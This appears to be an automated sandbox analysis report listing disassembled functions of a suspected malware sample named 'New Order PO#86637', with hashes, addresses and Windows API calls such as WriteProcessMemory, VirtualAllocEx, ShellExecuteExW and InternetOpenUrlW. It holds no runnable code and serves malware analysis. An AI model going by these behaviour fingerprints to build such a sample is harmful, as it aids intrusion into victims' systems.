Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: DeleteDestroyObject$IconMessageSendWindow
String ID:
API String ID: 1489400265-0
Opcode ID: 7dd20da83386a23a1814408c1199d2c33e99a8c26f67204b6fd348d50f61361a
Instruction ID: 3262712e9a8127eed33bb9eb3d9864066e7dde5d47db0d590f2b6463dd6d37f9
Opcode Fuzzy Hash: 7dd20da83386a23a1814408c1199d2c33e99a8c26f67204b6fd348d50f61361a
Instruction Fuzzy Hash: 07017C74300601DBCB10EF25EEC8A2A73A8BF48712F004569FE019B286D778DC49CB68

Function 00455607 Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00430003: InvalidateRect.USER32(?,00000000,00000001), ref: 00430091

DestroyWindow.USER32(?), ref: 00455728
DeleteObject.GDI32(?), ref: 00455736
DeleteObject.GDI32(?), ref: 00455744
DestroyIcon.USER32(?), ref: 00455752
DestroyWindow.USER32(?), ref: 00455760

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
String ID:
API String ID: 1042038666-0
Opcode ID: 9df849479103f2de49514c9ec76f9cef1897402069f9b01ba3cc14c1fa4130bc
Instruction ID: 2016740d4609c4bbd0e5f1cf6dc7522ca00853e433b5032f7809eda0dc31aff9
Opcode Fuzzy Hash: 9df849479103f2de49514c9ec76f9cef1897402069f9b01ba3cc14c1fa4130bc
Instruction Fuzzy Hash: 3701F670200601DBCB10EF69E9D8A2B37ACAF49762B00466AFD01D7256D769DC498B69

Function 0042FD29 Relevance: 7.5, APIs: 5, Instructions: 36COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 0042FD3E
StrokeAndFillPath.GDI32(?), ref: 0042FD56
StrokePath.GDI32(?), ref: 0042FD5F
SelectObject.GDI32(?,00000000), ref: 0042FD70
DeleteObject.GDI32(00000000), ref: 0042FD86

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: d1b587dd721dc2c7258c81d6469637db7768a45f5ba7f0175e0776e0e6e6c26f
Instruction ID: 382768f54733291aaafbd4c53fc5fd67df7ff3e11fccf1fbf51b229105ba29ed
Opcode Fuzzy Hash: d1b587dd721dc2c7258c81d6469637db7768a45f5ba7f0175e0776e0e6e6c26f
Instruction Fuzzy Hash: B3F036751125109BD3519F28FD4875E3B68E747321F94423AEA15923F0CB785449CB6D

Function 00417803 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041780F

Part of subcall function 00417A69: __getptd_noexit.LIBCMT ref: 00417A6C
Part of subcall function 00417A69: __amsg_exit.LIBCMT ref: 00417A79

__getptd.LIBCMT ref: 00417826
__amsg_exit.LIBCMT ref: 00417834
__lock.LIBCMT ref: 00417844
__updatetlocinfoEx_nolock.LIBCMT ref: 00417858

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 82c9f3bbc84dc287df7640515fd49376d4ae64643407e313ceafc36016311655
Instruction ID: 276dd8d19a6a3be70f37c916a71154ef36d62806621923b96dbf7b6e4fe89171
Opcode Fuzzy Hash: 82c9f3bbc84dc287df7640515fd49376d4ae64643407e313ceafc36016311655
Instruction Fuzzy Hash: 6DF09632A4C7009AD721BBA6940B7DD33B0AF10768F11415FF541572D2CB6C59C1CB9D

Function 00413D0E Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON

Download Yara Rule

APIs

Part of subcall function 004118F0: _doexit.LIBCMT ref: 004118FC

___set_flsgetvalue.LIBCMT ref: 00413D20

Part of subcall function 004178AE: TlsGetValue.KERNEL32(?,00417A07,?,004115F6,?,00401BAC,?,?,?), ref: 004178B7
Part of subcall function 004178AE: TlsSetValue.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 004178D8

___fls_getvalue@4.LIBCMT ref: 00413D2B

Part of subcall function 0041788E: TlsGetValue.KERNEL32(?,?,00413D30,00000000), ref: 0041789C

___fls_setvalue@8.LIBCMT ref: 00413D3E
GetLastError.KERNEL32(00000000,?,00000000), ref: 00413D47
ExitThread.KERNEL32 ref: 00413D4E
GetCurrentThreadId.KERNEL32 ref: 00413D54
__freefls@4.LIBCMT ref: 00413D74

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Value$Thread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 2403457894-0
Opcode ID: 20cce849b0c51a5c00e20c35783146c720bf18a6b0a2527f17bda4bbe7e89b53
Instruction ID: 99982f4671f9afe760f134679f3a1374bf557b67af872bc9692f731b59fefeca
Opcode Fuzzy Hash: 20cce849b0c51a5c00e20c35783146c720bf18a6b0a2527f17bda4bbe7e89b53
Instruction Fuzzy Hash: 1AE04F318443056B8F013BB39C1E8CF363C9E0434AB20082ABE1493112DA2C99C1C6BE

Function 004151AF Relevance: 7.5, APIs: 5, Instructions: 22threadCOMMON

Download Yara Rule

APIs

Part of subcall function 004118F0: _doexit.LIBCMT ref: 004118FC

___set_flsgetvalue.LIBCMT ref: 004151C0

Part of subcall function 004178AE: TlsGetValue.KERNEL32(?,00417A07,?,004115F6,?,00401BAC,?,?,?), ref: 004178B7
Part of subcall function 004178AE: TlsSetValue.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 004178D8

___fls_getvalue@4.LIBCMT ref: 004151CB

Part of subcall function 0041788E: TlsGetValue.KERNEL32(?,?,00413D30,00000000), ref: 0041789C

___fls_setvalue@8.LIBCMT ref: 004151DD
GetLastError.KERNEL32(00000000,?,00000000), ref: 004151E6
ExitThread.KERNEL32 ref: 004151ED
__freefls@4.LIBCMT ref: 00415209

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Value$ErrorExitLastThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
String ID:
API String ID: 4247068974-0
Opcode ID: 3508d61e785490a8cfc18c63a66594c600054726567160c295e9e14b5a274e31
Instruction ID: 3b3fb4cf1982b2ada2e5851f983e2cc6228237abb2dca353483d11accd99f00a
Opcode Fuzzy Hash: 3508d61e785490a8cfc18c63a66594c600054726567160c295e9e14b5a274e31
Instruction Fuzzy Hash: E5E0B631848705AECB013BB29D1E9DF3A799E54749B20082ABE1492122EE6C88D1C669

Function 0044F405 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 302COMMON

Download Yara Rule

Strings

U, xrefs: 0044FB88
), xrefs: 0044F409
\, xrefs: 0044D061

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID: )$U$\
API String ID: 0-3705770531
Opcode ID: 028001eb2bff774db3903015b7fa80ce6d69291786b8857f67b928b721b55690
Instruction ID: d0f1885598f34d5f764b4f2a5794ec4e3d7857f6dac93f6e146ba8491093b400
Opcode Fuzzy Hash: 028001eb2bff774db3903015b7fa80ce6d69291786b8857f67b928b721b55690
Instruction Fuzzy Hash: 83C1C074A00249CFEB24CF69C5806AEBBF2FF85304F2481ABD8569B351D739994ACF15

Function 0046E48D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 263comCOMMON

Download Yara Rule

APIs

Part of subcall function 004426CD: _wcslen.LIBCMT ref: 004426F9

CoInitialize.OLE32(00000000), ref: 0046E505
CoCreateInstance.OLE32(00482A08,00000000,00000001,004828A8,?), ref: 0046E51E
CoUninitialize.OLE32 ref: 0046E53D

Strings

.lnk, xrefs: 0046E4D8, 0046E4F5

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 275befd32e5b5cb51e2fc879a9ecc6bbb724afd33f596a1e549e31a6ffdfd8c7
Instruction ID: 2644725dabb75134900838bfbf7f9974cf5b6b8c274c659ea1b0544ab4b4cf98
Opcode Fuzzy Hash: 275befd32e5b5cb51e2fc879a9ecc6bbb724afd33f596a1e549e31a6ffdfd8c7
Instruction Fuzzy Hash: A6A1CB756042019FC700EF65C980E5BB7E9AFC8308F108A5EF9859B392DB35EC45CBA6

Function 0044E180 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044EA00

Strings

\, xrefs: 0044D061

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID: \
API String ID: 4104443479-2967466578
Opcode ID: 236e1e21dc65edc907fd0526d8e82b29cd887e6a6cae6abce2d2318f267918b8
Instruction ID: 90b25fc4546a2c21e21e7939c456fa175a28996bec6c3309f7edcf8d77039fcb
Opcode Fuzzy Hash: 236e1e21dc65edc907fd0526d8e82b29cd887e6a6cae6abce2d2318f267918b8
Instruction Fuzzy Hash: 8AB1C270D04289CFEF15CFA9C8807AEBBB2BF55308F28419ED451AB381D7795946CB1A

Function 0044E189 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044EA00

Strings

\, xrefs: 0044D061

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID: \
API String ID: 4104443479-2967466578
Opcode ID: aaea77048b6460e77790bc9063151364371e311f89c51572a31744d174c5d814
Instruction ID: 47d8400a167da4587eb122393216330e55bf30386b581c043e0675457d4a745f
Opcode Fuzzy Hash: aaea77048b6460e77790bc9063151364371e311f89c51572a31744d174c5d814
Instruction Fuzzy Hash: F1B1C270D04289CFEF15CFA9C8807AEBBB2BF55308F28419ED451AB381D7795946CB1A

Function 0044E199 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044EA00

Strings

\, xrefs: 0044D061

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID: \
API String ID: 4104443479-2967466578
Opcode ID: 51371dbcd6d614fdce5bfd4d2520a50a5cfc61004088100711ab8bbb78939718
Instruction ID: 4d1558bed40bbae7f26d93592334ac0d2c658ca85fbb7fec499742c135aa7d63
Opcode Fuzzy Hash: 51371dbcd6d614fdce5bfd4d2520a50a5cfc61004088100711ab8bbb78939718
Instruction Fuzzy Hash: E5A1C270D04289CFEF15CFA9C8807AEBBB2BF55308F28419ED441AB381D7795946CB1A

Function 0046A6E1 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 0046A75B

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmovestd::exception::exception$Exception@8Throw_malloc_wcslen
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 708495834-557222456
Opcode ID: 0835c6591df01f69715f5e8aca6b92cd03353c77de4b2b2244ddd74c7a14709d
Instruction ID: 9c514e09f8cb76db8ae150367893d7536957bb5c5403f45e3580b17af89e858a
Opcode Fuzzy Hash: 0835c6591df01f69715f5e8aca6b92cd03353c77de4b2b2244ddd74c7a14709d
Instruction Fuzzy Hash: 7C917F711087009FC310EF65C88186BB7E8AF89314F148D2FF595672A2E778E919CB9B

Function 0043659E Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 162windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00434319: WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0043434A

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 004365EF

Part of subcall function 004342DD: ReadProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0043430E

Part of subcall function 004343AD: GetWindowThreadProcessId.USER32(?,?), ref: 004343E0
Part of subcall function 004343AD: OpenProcess.KERNEL32(00000438,00000000,?), ref: 004343F1
Part of subcall function 004343AD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004), ref: 00434408

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0043665F
SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 004366DF

Strings

@, xrefs: 004366F8

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 6104cbe5d4ae3c4c99a3306f76968d572a7f9f5d55716afa725ed0ba86ca2a2d
Instruction ID: 60a9f40d71a87185ad744a771aacdfc79ad0a16393efc777ae91d2f205fac39b
Opcode Fuzzy Hash: 6104cbe5d4ae3c4c99a3306f76968d572a7f9f5d55716afa725ed0ba86ca2a2d
Instruction Fuzzy Hash: 0D51B972A00218ABCB10DFA5DD42FDEB778EFC9304F00459AFA05EB180D6B4BA45CB65

Function 0044F137 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 161COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0044D011

Strings

h, xrefs: 0044F78E
], xrefs: 0044F138
\, xrefs: 0044D061

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID: \$]$h
API String ID: 4104443479-3262404753
Opcode ID: 176a597a96dcd2a70b70cc410daef71b144e937b03d0c11d284d361abdce2453
Instruction ID: f8aecd1968ad4f88b1990a67d2c0a139cd5c037738d7fdf96801fcbc28408ccb
Opcode Fuzzy Hash: 176a597a96dcd2a70b70cc410daef71b144e937b03d0c11d284d361abdce2453
Instruction Fuzzy Hash: 97518470E00209DFDF18CFA5C980AAEB7F2BF85304F29826AD405AB355D7385D45CB55

Function 00457C53 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 158COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00457D67

Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182

CloseHandle.KERNEL32(?), ref: 00457E09

Strings

<, xrefs: 00457D2E
@, xrefs: 00457D35

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CloseExecuteHandleShell_wcscpy_wcslen
String ID: <$@
API String ID: 2417854910-1426351568
Opcode ID: 456975d6943100b9bccf6a944bdff1bb50055e47ea808eda8884d41227499f4e
Instruction ID: b88a15a70aa0ad5f6f29005b2a8070d35214d1ef645994392ec84fe4d9ca6df0
Opcode Fuzzy Hash: 456975d6943100b9bccf6a944bdff1bb50055e47ea808eda8884d41227499f4e
Instruction Fuzzy Hash: C751D3719002089BDB10EFA1D985AAFB7B4EF44309F10446EED05AB352DB79ED49CB94

Function 0044A856 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A87A
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A8C9
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0044A901

Part of subcall function 004422CB: GetLastError.KERNEL32 ref: 004422E1

Strings

, xrefs: 0044A8FA

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
String ID:
API String ID: 3705125965-3916222277
Opcode ID: 0ee13e9a60eb6ba6c748d714ed0ce9e8e081c7518857538375ec5b6ad63af0be
Instruction ID: d28fa13b4dde737238ce5dcfaacd3c540a76458eeabd88e5a6b3f8614e5f537b
Opcode Fuzzy Hash: 0ee13e9a60eb6ba6c748d714ed0ce9e8e081c7518857538375ec5b6ad63af0be
Instruction Fuzzy Hash: DB310B76A802047AE720EF56DC42FDFB7A8EBD9710F00851FFA0097281D6B5550987AC

Function 0045FA41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120windowCOMMON

Download Yara Rule

APIs

